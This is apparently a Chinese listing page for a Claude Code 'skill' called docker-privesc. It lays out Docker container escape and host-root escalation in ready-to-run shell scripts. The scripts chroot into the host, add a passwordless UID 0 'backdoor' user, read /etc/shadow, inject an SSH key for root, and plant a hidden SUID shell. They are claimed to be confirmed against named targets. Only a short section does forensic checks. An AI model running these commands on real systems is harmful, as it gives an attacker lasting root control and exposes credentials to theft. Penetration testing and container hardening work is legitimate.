mcpField
D
docker-privesc

docker-privesc

github.com/uphiago安全1.3k40 次安装8 周前更新
代码仓库

关于 docker-privesc

用于评估 Docker 容器逃逸路径和权限提升的安全技能,涵盖 Docker socket、用户组、卷和能力检查。适合拥有容器 Shell 访问权限、需要评估主机 root 风险或排查既往提权痕迹的测试人员。

主要功能

  1. 01检查 Docker 用户组和 socket 访问
  2. 02检查特权模式与能力
  3. 03说明主机逃逸技术
  4. 04查找既往提权迹象
  5. 05验证主机级影响

适用场景

  1. 01获得容器 Shell 后评估逃逸风险
  2. 02检查 Docker 组访问是否可接管主机
  3. 03调查先前权限提升的迹象

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill docker-privesc

安装后在 Claude Code 中输入/docker-privesc确认已加载。

详细介绍

Docker 权限提升技能

Docker 容器逃逸与权限提升——滥用 Docker 套接字、通过卷挂载接管主机、Docker 组等同于 root 权限,以及检测此前的权限提升。加入 Docker 组即可通过 5 种不同技术立即获得主机 root 权限。已在 fitness-chain(提取了 Docker 容器、12 个镜像层、特权模式)和 gov-finance-portal(GitLab 中暴露了 Dockerfile 和 docker-compose.prod.yml)上确认。

适用场景

  • 你可以访问 Docker 容器的 Shell(通过 WebShell、SSH 或 API 漏洞利用)。
  • id 显示你属于 docker 组,或可以访问 /var/run/docker.sock。
  • 在容器内运行 docker ps 或 docker info 有效。
  • api-noauth-hunt 或 wordpress-full-compromise 在容器中实现 RCE 后。
  • Docker 套接字挂载在 /var/run/docker.sock(检查:ls -la /var/run/docker.sock)。

前提条件

  • 可以访问 Docker 容器内的 Shell(任意用户)。
  • 已挂载 Docker 套接字,或属于 docker 组,或使用了 --privileged 标志。
  • 目标:提升权限至主机 root。

运行方法

# Check docker group membership
id | grep docker && echo "[+] Docker group — instant root possible"

# Check docker socket
ls -la /var/run/docker.sock 2>/dev/null && echo "[+] Docker socket mounted — host escape"

# Check privileged mode
cat /proc/self/status | grep -i "seccomp\|cap" && echo "[*] Check capabilities"

快速参考

条件逃逸方法命令
Docker 组挂载主机 /docker run --rm -v /:/host -it alpine chroot /host
Docker 套接字创建特权容器docker run --rm --privileged -v /:/host -it alpine
--privileged直接访问主机文件系统mount /dev/sda1 /mnt && chroot /mnt
SYS_ADMIN 能力cgroup release_agent写入 cgroup notify_on_release
没有 docker,也没有能力检查已挂载的套接字/管道find / -type s 2>/dev/null

流程

阶段 1 — 评估容器逃逸面
echo "[*] Container escape surface assessment"

# 1. Docker group
echo -n "  Docker group: "
if id | grep -q docker; then
  echo "YES — instant root via volume mount"
else
  echo "no"
fi

# 2. Docker socket
echo -n "  Docker socket: "
if ls -la /var/run/docker.sock 2>/dev/null; then
  echo "YES — host escape via docker command"
  SOCKET_PERMS=$(stat -c "%a %U:%G" /var/run/docker.sock 2>/dev/null)
  echo "  Permissions: $SOCKET_PERMS"
else
  echo "no"
fi

# 3. Privileged mode
echo -n "  Privileged: "
if ip link add dummy0 type dummy 2>/dev/null; then
  echo "YES — privileged container"
  ip link delete dummy0 2>/dev/null
else
  echo "no"
fi

# 4. Capabilities
echo "  Capabilities:"
grep CapEff /proc/self/status 2>/dev/null

# 5. Mounted volumes (potential host paths)
echo "  Mounted volumes:"
mount | grep -vE "^(overlay|tmpfs|proc|sys|devpts|cgroup)" | head -10

# 6. Host processes visible?
echo -n "  Host processes: "
PROC_COUNT=$(ls /proc | grep -c '^[0-9]' 2>/dev/null)
echo "$PROC_COUNT visible"
阶段 2 — Docker 组 → 主机 root(5 种技术)
echo "[*] Docker group privesc"

# Technique 1: Volume mount + add user with UID 0
echo "[1] Adding user with UID 0 to /etc/passwd"
docker run --rm -v /etc:/host_etc alpine sh -c \
  'echo "backdoor::0:0::/root:/bin/bash" >> /host_etc/passwd'
su backdoor 2>/dev/null

# Technique 2: Volume mount + read shadow
echo "[2] Reading /etc/shadow"
docker run --rm -v /etc:/host_etc alpine cat /host_etc/shadow 2>/dev/null | head -5

# Technique 3: chroot to host root
echo "[3] Chroot to host root"
docker run --rm -v /:/host -it alpine chroot /host bash -c "id && hostname"

# Technique 4: Inject SSH key
echo "[4] Injecting SSH key to host root"
docker run --rm -v /root:/host_root alpine sh -c \
  'mkdir -p /host_root/.ssh && echo "YOUR_SSH_PUB_KEY" >> /host_root/.ssh/authorized_keys'

# Technique 5: Create SUID bash on host
echo "[5] Creating SUID bash on host"
docker run --rm -v /usr/local/bin:/host_bin alpine sh -c \
  'cp /bin/sh /host_bin/.backdoor && chmod u+s /host_bin/.backdoor'
/usr/local/bin/.backdoor -p 2>/dev/null
阶段 3 — Docker 套接字 → 主机 root
echo "[*] Docker socket exploitation"

# If docker client is available in the container
if command -v docker &>/dev/null; then
  echo "[+] Docker client available"

  # Create privileged container with host root mounted
  docker run --rm --privileged --pid=host -v /:/host alpine sh -c \
    "chroot /host bash -c 'id && hostname'"

  # Alternative: just exec into an existing host container
  docker ps  # List running containers
  docker exec -it <container_id> /bin/bash
fi

# If docker client is NOT available, install it or use the socket directly
if [[ ! -f /usr/bin/docker ]] && [[ -S /var/run/docker.sock ]]; then
  echo "[*] No docker client — using REST API via socket"
  curl --max-time 30 --connect-timeout 10 -sk --unix-socket /var/run/docker.sock http://localhost/containers/json | head -20
fi
阶段 4 — 检测此前的权限提升(取证)
echo "[*] Checking for prior privilege escalation on host"

# Check sudoers for NOPASSWD entries (docker privesc technique)
echo "  NOPASSWD sudoers:"
grep -r "NOPASSWD" /etc/sudoers /etc/sudoers.d/ 2>/dev/null | head -5

# Check for users with UID 0 (injected via /etc/passwd technique)
echo "  UID 0 users:"
awk -F: '$3 == 0 {print $1}' /etc/passwd 2>/dev/null

# Check for newly created authorized_keys files
echo "  Root SSH keys:"
ls -la ~/.ssh/authorized_keys 2>/dev/null
stat ~/.ssh/authorized_keys 2>/dev/null | grep Modify

# Check for SUID binaries
echo "  New SUID binaries:"
find / -perm -4000 -type f 2>/dev/null | while read f; do
  if stat "$f" 2>/dev/null | grep -q "Change:.*2026"; then
    echo "    $f (recently modified)"
  fi
done

注意事项

  • 并非所有容器都有 Docker 套接字。 这是运维团队有意挂载的。大多数容器都没有。
  • 容器中可能没有 docker 二进制文件。 安装它:apt-get update && apt-get install -y docker.io(如果可以访问互联网)。
  • 能力受限。 --privileged 并不常见。检查 CapEff 掩码以确认可用能力。
  • AppArmor/SELinux 可能会阻止操作。 即使有 Docker 套接字,SELinux 也可能阻止逃逸。
  • no-new-privileges 安全选项。 会阻止 SUID 二进制文件和 setuid() 系统调用。

验证

  • Docker 组权限提升:必须能够通过卷挂载读取主机的 /etc/shadow。
  • Docker 套接字:必须能够创建新的特权容器并在主机上执行命令。
  • 特权模式:必须能够挂载主机文件系统并执行 chroot。
  • 此前的权限提升:必须识别至少一个迹象(NOPASSWD sudo、UID 0 异常、新 SSH 密钥、SUID 二进制文件)。
  • 记录:容器权限、使用的逃逸方法,以及获得的主机 root 访问权限。

评论

支持 Markdown